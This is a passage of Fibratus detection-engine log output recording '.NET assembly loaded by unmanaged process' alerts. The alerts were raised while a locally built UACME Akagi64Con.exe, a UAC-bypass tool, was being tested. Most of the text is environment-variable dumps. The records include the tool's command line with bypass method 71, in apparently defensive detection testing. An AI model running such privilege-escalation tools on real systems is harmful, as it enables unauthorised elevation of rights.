Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:07+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\csc\2b8acce52c969fd81364a73bcaf836e1\csc.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 10966871 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 7 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:50.815006 +0100 CET + Params: base_address➜ 7ffcbbd10000, checksum➜ 0, default_address➜ 7ffcbbd10000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\csc\2b8acce52c969fd81364a73bcaf836e1\csc.ni.exe, image_size➜ 491520, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: 9665569474375319552, tactic.id: TA0005, tactic.name: Defense Evasion, rule.name: .NET assembly loaded by unmanaged process, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:07+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\csi\642ddb7150eb85f1b175033b6b90d534\csi.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 10966918 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 7 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:50.8190985 +0100 CET + Params: base_address➜ 7ffcd6800000, checksum➜ 0, default_address➜ 7ffcd6800000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\csi\642ddb7150eb85f1b175033b6b90d534\csi.ni.exe, image_size➜ 28672, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005 + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:07+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\csi\642ddb7150eb85f1b175033b6b90d534\csi.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 10966918 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 7 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:50.8190985 +0100 CET + Params: base_address➜ 7ffcd6800000, checksum➜ 0, default_address➜ 7ffcd6800000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\csi\642ddb7150eb85f1b175033b6b90d534\csi.ni.exe, image_size➜ 28672, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: 9665569474375319552, tactic.id: TA0005, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.name: Defense Evasion + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows 